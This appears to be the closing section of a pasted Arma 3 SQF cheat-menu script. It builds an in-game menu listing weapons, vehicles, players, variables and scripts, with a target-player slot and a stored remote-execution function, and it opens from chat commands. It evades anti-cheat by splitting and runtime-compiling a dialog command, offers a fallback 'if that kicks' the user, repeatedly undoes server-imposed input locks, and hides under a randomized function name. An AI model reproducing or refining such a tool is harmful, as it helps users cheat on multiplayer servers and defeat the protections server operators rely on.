  2951. _wList ctrlSetPosition [safeZoneX + (safeZoneW / 2) - 0.005 - (_size select 2) - 0.01 - (_size2 select 2), safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
  2952. _wList ctrlCommit 0;
  2953. [_wList,_weaponList] spawn _LoadWeaponList;
  2954. _wList ctrlAddEventHandler ["LbDblClick",_WeaponListDblClick];
  2955.  
  2956. _vList ctrlShow true;
  2957. _vList ctrlSetPosition [safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01, safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
  2958. _vList ctrlCommit 0;
  2959. [_vList,_vehicleList] spawn _LoadVehicleList;
  2960. _vList ctrlAddEventHandler ["LbDblClick",_VehicleListDblClick];
  2961.  
  2962. _uList ctrlShow true;
  2963. _uList ctrlSetPosition [safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01 + (_size2 select 2) + 0.01, safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
  2964. _uList ctrlCommit 0;
  2965. [_uList] spawn _LoadVariableList;
  2966. _uList ctrlAddEventHandler ["LbDblClick",_VariableListDblClick];
  2967.  
  2968.  
  2969. _back3 = _display displayCtrl 1020;
  2970. _back3 ctrlShow true;
  2971. _back3 ctrlSetBackgroundColor [0.05,0.05,0.05,0.7];
  2972. _back3 ctrlSetPosition [safeZoneX + (safeZoneW / 2) - 0.005 - (_size select 2) - 0.01 - (_size2 select 2), safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
  2973. _back3 ctrlCommit 0;
  2974.  
  2975. _back4 = _display displayCtrl 1014;
  2976. _back4 ctrlShow true;
  2977. _back4 ctrlSetBackgroundColor [0.05,0.05,0.05,0.7];
  2978. _back4 ctrlSetPosition [safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01, safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
  2979. _back4 ctrlCommit 0;
  2980.  
  2981. _back5 = _display displayCtrl 111;
  2982. _back5 ctrlShow true;
  2983. _back5 ctrlSetText "";
  2984. _back5 ctrlSetBackgroundColor [0.05,0.05,0.05,0.7];
  2985. _back5 ctrlSetPosition [safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01 + (_size2 select 2) + 0.01, safeZoneY + (safeZoneH/2) - ((_size2 select 3)/2),_size2 select 2,_size2 select 3];
  2986. _back5 ctrlCommit 0;
  2987.  
  2988. _dtDataWeapons = [
  2989. _GLOBAL_ARRAY,
  2990. _set,
  2991. _get,
  2992. "<t size=""0.8""><t align=""center"">Weapon List</t>",
  2993. [
  2994. safeZoneX + (safeZoneW / 2) - 0.005 - (_size select 2) - 0.01 - (_size2 select 2),
  2995. (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
  2996. _size2 select 2,
  2997. safezoneh/20
  2998. ],
  2999. [1,1,1,1]
  3000. ] call _DtCreate;
  3001. _dtDataFunctions = [
  3002. _GLOBAL_ARRAY,
  3003. _set,
  3004. _get,
  3005. "<t size=""0.8""><t align=""center"">Script List</t>",
  3006. [
  3007. safeZoneX + (safeZoneW / 2) - 0.005 - (_size select 2),
  3008. (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
  3009. _size select 2,
  3010. safezoneh/20
  3011. ],
  3012. [1,1,1,1]
  3013. ] call _DtCreate;
  3014. _dtDataPlayers = [
  3015. _GLOBAL_ARRAY,
  3016. _set,
  3017. _get,
  3018. "<t size=""0.8"" align=""center"">Player List</t>",
  3019. [
  3020. safeZoneX + (safeZoneW / 2) + 0.005,
  3021. (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
  3022. _size select 2,
  3023. safezoneh/20
  3024. ],
  3025. [1,1,1,1]
  3026. ] call _DtCreate;
  3027. _dtDataVehicles = [
  3028. _GLOBAL_ARRAY,
  3029. _set,
  3030. _get,
  3031. "<t size=""0.8"" align=""center"">Vehicle List</t>",
  3032. [
  3033. safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01,
  3034. (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
  3035. _size2 select 2,
  3036. safezoneh/20
  3037. ],
  3038. [1,1,1,1]
  3039. ] call _DtCreate;
  3040. _dtDataVariables = [
  3041. _GLOBAL_ARRAY,
  3042. _set,
  3043. _get,
  3044. "<t size=""0.8"" align=""center"">Variable List</t>",
  3045. [
  3046. safeZoneX + (safeZoneW / 2) + 0.005 + (_size select 2) + 0.01 + (_size2 select 2) + 0.01,
  3047. (safeZoneY + (SafeZoneH/2) - ((_size select 3)/2)) - (safezoneh/20),
  3048. _size2 select 2,
  3049. safezoneh/20
  3050. ],
  3051. [1,1,1,1]
  3052. ] call _DtCreate;
  3053.  
  3054. [_dtDataVariables,_dtDataVehicles,_dtDataFunctions,_dtDataPlayers,_dtDataWeapons];
  3055. };
  3056.  
  3057. comment "Load everything into global namespace";
  3058.  
  3059.  
  3060.  
  3061.  
  3062. [_GLOBAL_ARRAY,["CurrentMenu","MainMenu"]] call _set;
  3063. [_GLOBAL_ARRAY,["TargetPlayer",objNull]] call _set;
  3064. [_GLOBAL_ARRAY,["TargetVariable",""]] call _set;
  3065. [_GLOBAL_ARRAY,["MainMenu",_mainMenu]] call _set;
  3066. [_GLOBAL_ARRAY,["TargetMenu",_targetMenu]] call _set;
  3067. [_GLOBAL_ARRAY,["VariableMenu",_variableMenu]] call _set;
  3068.  
  3069.  
  3070.  
  3071. [_GLOBAL_ARRAY,["cShape",_cShape]] call _set;
  3072. [_GLOBAL_ARRAY,["sLocal",_sLocal]] call _set;
  3073. [_GLOBAL_ARRAY,["re",_re]] call _set;
  3074.  
  3075.  
  3076.  
  3077.  
  3078. [_GLOBAL_ARRAY,["LoadScripts",_LoadScripts]] call _set;
  3079. [_GLOBAL_ARRAY,["saveCFG",_saveCFG]] call _set;
  3080. [_GLOBAL_ARRAY,["rString",_rString]] call _set;
  3081. [_GLOBAL_ARRAY,["toSafeUIString",_toSafeUIString]] call _set;
  3082. [_GLOBAL_ARRAY,["togVar",_togVar]] call _set;
  3083. [_GLOBAL_ARRAY,["DtCreate",_DtCreate]] call _set;
  3084. [_GLOBAL_ARRAY,["DtGetControl",_DtGetControl]] call _set;
  3085. [_GLOBAL_ARRAY,["DtDelete",_DtDelete]] call _set;
  3086. [_GLOBAL_ARRAY,["OpenMainUI",_OpenMainUI]] call _set;
  3087. [_GLOBAL_ARRAY,["LoadPlayersToList",_LoadPlayersToList]] call _set;
  3088. [_GLOBAL_ARRAY,["LoadWeaponList",_LoadWeaponList]] call _set;
  3089. [_GLOBAL_ARRAY,["LoadVehicleList",_LoadVehicleList]] call _set;
  3090. [_GLOBAL_ARRAY,["LoadVariableList",_LoadVariableList]] call _set;
  3091. [_GLOBAL_ARRAY,["PlayerListDblClick",_PlayerListDblClick]] call _set;
  3092. [_GLOBAL_ARRAY,["VariableListDblClick",_VariableListDblClick]] call _set;
  3093. [_GLOBAL_ARRAY,["VehicleListDblClick",_VehicleListDblClick]] call _set;
  3094. [_GLOBAL_ARRAY,["WeaponListDblClick",_WeaponListDblClick]] call _set;
  3095. [_GLOBAL_ARRAY,["ScriptListDblClick",_ScriptListDblClick]] call _set;
  3096. [_GLOBAL_ARRAY,["OnPlayerDblClick",_OnPlayerDblClick]] call _set;
  3097. [_GLOBAL_ARRAY,["OnVariableDblClick",_OnVariableDblClick]] call _set;
  3098. [_GLOBAL_ARRAY,["OnScriptDblClick",_OnScriptDblClick]] call _set;
  3099. [_GLOBAL_ARRAY,["OnWeaponDblClick",_OnWeaponDblClick]] call _set;
  3100. [_GLOBAL_ARRAY,["OnVehicleDblClick",_OnVehicleDblClick]] call _set;
  3101.  
  3102.  
  3103.  
  3104.  
  3105. comment "Load UI";
  3106.  
  3107. comment "///////////////////////////////////////// Rainbow Header Text \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\";
  3108. _t1 = [_GLOBAL_ARRAY,_get,_set] spawn {
  3109. params["_GLOBAL_ARRAY","_get","_set"];
  3110. _DtCreate = [_GLOBAL_ARRAY,["DtCreate",{}]] call _get;
  3111. _DtGetControl = [_GLOBAL_ARRAY,["DtGetControl",{}]] call _get;
  3112. _DtDelete = [_GLOBAL_ARRAY,["DtDelete",{}]] call _get;
  3113.  
  3114. _Data = [_GLOBAL_ARRAY,_set,_get,"<t size=""0.8"" align=""center"">" + (if(isNil "RANDOMVAR") then {" - test"} else {""}) +"</t>",[safezonex,safezoney,safezonew,safezoneh/20],[random(1),random(1),random(1),1]] call _DtCreate;
  3115. _control = [_Data] call _DtGetControl;
  3116. while{[_GLOBAL_ARRAY,["IsRunning",true]] call _get} do {
  3117. _control ctrlsettextcolor [random(1),random(1),random(1),1];
  3118. _control ctrlCommit 0;
  3119. uiSleep 0.1;
  3120. };
  3121. [_GLOBAL_ARRAY,_set,_get,_Data] call _DtDelete;
  3122. };
  3123.  
  3124. [_GLOBAL_ARRAY,_set,_get,"<t size=""0.3"" align=""left"">&lt; " + name player + ":" + getplayeruid player + " &gt; </t>",[safezonex,safezoney,safezonew,safezoneh/20],[random(1),random(1),random(1),1]] call _DtCreate;
  3125.  
  3126.  
  3127. comment "Load vehicle and weapon lists";
  3128. _vehicles = [];
  3129. _vehicleNames = [];
  3130.  
  3131. _cfg = configFile >> "CfgVehicles";
  3132. for "_i" from 0 to count(_cfg)-1 do {
  3133. _entry = _cfg select _i;
  3134. if(isClass _entry) then {
  3135. _scope = getNumber(_entry >> "scope");
  3136. if(_scope == 2) then {
  3137. _cfgName = configName _entry;
  3138. _vType = "";
  3139. if(_cfgName isKindOf "LandVehicle") then {
  3140. _vType = "A";
  3141. };
  3142. if(_cfgName isKindOf "Air") then {
  3143. _vType = "B";
  3144. };
  3145. if(_cfgName isKindOf "Ship") then {
  3146. _vType = "C";
  3147. };
  3148. if(_vType != "") then {
  3149. _dName = getText(_entry >> "DisplayName");
  3150. _picture = getText(_entry >> "Picture");
  3151. if(_dName != "") then {
  3152. if !(_dName in _vehicleNames) then {
  3153. _vehicles pushback [_vType,_dName,_cfgName,_picture];
  3154. _vehicleNames pushBack _dName;
  3155. };
  3156. };
  3157. };
  3158. };
  3159. };
  3160. };
  3161. _vehicles sort true;
  3162. [_GLOBAL_ARRAY,["vehicleData",_vehicles]] call _set;
  3163. _weapons = [];
  3164. _weaponNames = [];
  3165.  
  3166. _cfg = configFile >> "CfgWeapons";
  3167. for "_i" from 0 to count(_cfg)-1 do {
  3168. _entry = _cfg select _i;
  3169. if(isClass _entry) then {
  3170. _scope = getNumber(_entry >> "scope");
  3171. if(_scope == 2) then {
  3172. _dName = getText(_entry >> "DisplayName");
  3173. _picture = getText(_entry >> "Picture");
  3174. if(_dName != "") then {
  3175. if !(_dName in _weaponNames) then {
  3176. _weapons pushback [_dName,configName _entry,_picture];
  3177. _weaponNames pushBack _dName;
  3178. };
  3179. };
  3180. };
  3181. };
  3182. };
  3183. _weapons sort true;
  3184. [_GLOBAL_ARRAY,["weaponData",_weapons]] call _set;
  3185.  
  3186.  
  3187. comment "Init UI";
  3188.  
  3189. _t2 = [_GLOBAL_ARRAY,_set,_get] spawn _EventTrigger;
  3190.  
  3191. _t3 = [_GLOBAL_ARRAY,_set,_get] spawn {
  3192. disableSerialization;
  3193. params["_GLOBAL_ARRAY","_set","_get"];
  3194. _OpenMainUI = [_GLOBAL_ARRAY,["OpenMainUI",{}]] call _get;
  3195. _DtDelete = [_GLOBAL_ARRAY,["DtDelete",{}]] call _get;
  3196.  
  3197. while{[_GLOBAL_ARRAY,["IsRunning",true]] call _get} do {
  3198. waitUntil{!isNull (findDisplay 24)};
  3199. _open = false;
  3200. _open2 = false;
  3201. _ctrl = (findDisplay 24) displayCtrl 101;
  3202. while{!isNull (findDisplay 24)} do {
  3203. if(ctrlText _ctrl == "?") exitWith {
  3204. _open = true;
  3205. _ctrl ctrlSetText "";
  3206. (findDisplay 24) closeDisplay 0;
  3207. };
  3208. if(ctrlText _ctrl == "$") exitWith {
  3209. comment "/////////////////////////////////// THIS IS FUCKING BROKEN ///////////////////////////";
  3210. _open2 = true;
  3211. _ctrl ctrlSetText "";
  3212. (findDisplay 24) closeDisplay 0;
  3213. };
  3214. uiSleep 0.1;
  3215. };
  3216. if(_open2) then {
  3217. hint "Open your inventory to open the menu";
  3218. waitUntil{!isNull (findDisplay 602)};
  3219. hint "Opening menu, please wait a few seconds";
  3220. sleep 2;
  3221. _data = [_GLOBAL_ARRAY,_set,_get] call _OpenMainUI;
  3222. waitUntil{isNull (findDisplay 602)};
  3223. {
  3224. [_GLOBAL_ARRAY,_set,_get,_x] call _DtDelete;
  3225. } forEach _data;
  3226. };
  3227. if(_open) then {
  3228. _a = "create";
  3229. _a = _a + "dialog ""RscDispl" + "ayInventory"";";
  3230. _b = compile _a;
  3231. call _b;
  3232. waitUntil{!isNull (findDisplay 602)};
  3233. _data = [_GLOBAL_ARRAY,_set,_get] call _OpenMainUI;
  3234. waitUntil{isNull (findDisplay 602)};
  3235. {
  3236. [_GLOBAL_ARRAY,_set,_get,_x] call _DtDelete;
  3237. } forEach _data;
  3238. };
  3239. };
  3240. };
  3241. _t4 = [_GLOBAL_ARRAY,_get,_set] spawn {
  3242. params["_GLOBAL_ARRAY","_get","_set"];
  3243. while{[_GLOBAL_ARRAY,["IsRunning",true]] call _get} do {
  3244. waitUntil{userInputDisabled || !([_GLOBAL_ARRAY,["IsRunning",true]] call _get)};
  3245. disableUserInput false;
  3246. };
  3247. };
  3248.  
  3249. hint "Type ? in the chat to open the menu!\nIf that kicks type $ in the chat and open your inventory";
  3250.  
  3251. comment "Shutdown";
  3252.  
  3253. comment "wait for shutdown and wait for all threads to be kill";
  3254. waitUntil{uiSleep 1;!([_GLOBAL_ARRAY,["IsRunning",true]] call _get)};
  3255. waitUntil{scriptDone _t1};
  3256. waitUntil{scriptDone _t2};
  3257. waitUntil{scriptDone _t3};
  3258. waitUntil{scriptDone _t4};
  3259.  
  3260. _currentData = [_GLOBAL_ARRAY,["DtDataArray",[]]] call _get;
  3261. {
  3262. (_x select 1) cutText["","PLAIN"];
  3263. } forEach _currentData;
  3264.  
  3265. _exiting = [_GLOBAL_ARRAY,["IsExiting",false]] call _get;;
  3266.  
  3267. hint "";
  3268. comment "clear up the global array (effectively wipping the values from being accessed (i think)";
  3269. _GLOBAL_ARRAY = nil;
  3270.  
  3271. if(_exiting) exitWith {};
  3272. hint "Resetting in 3 seconds";
  3273. uiSleep 3;
  3274. };
  3275.  
  3276. };
  3277. [] spawn RANDOMVAR;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement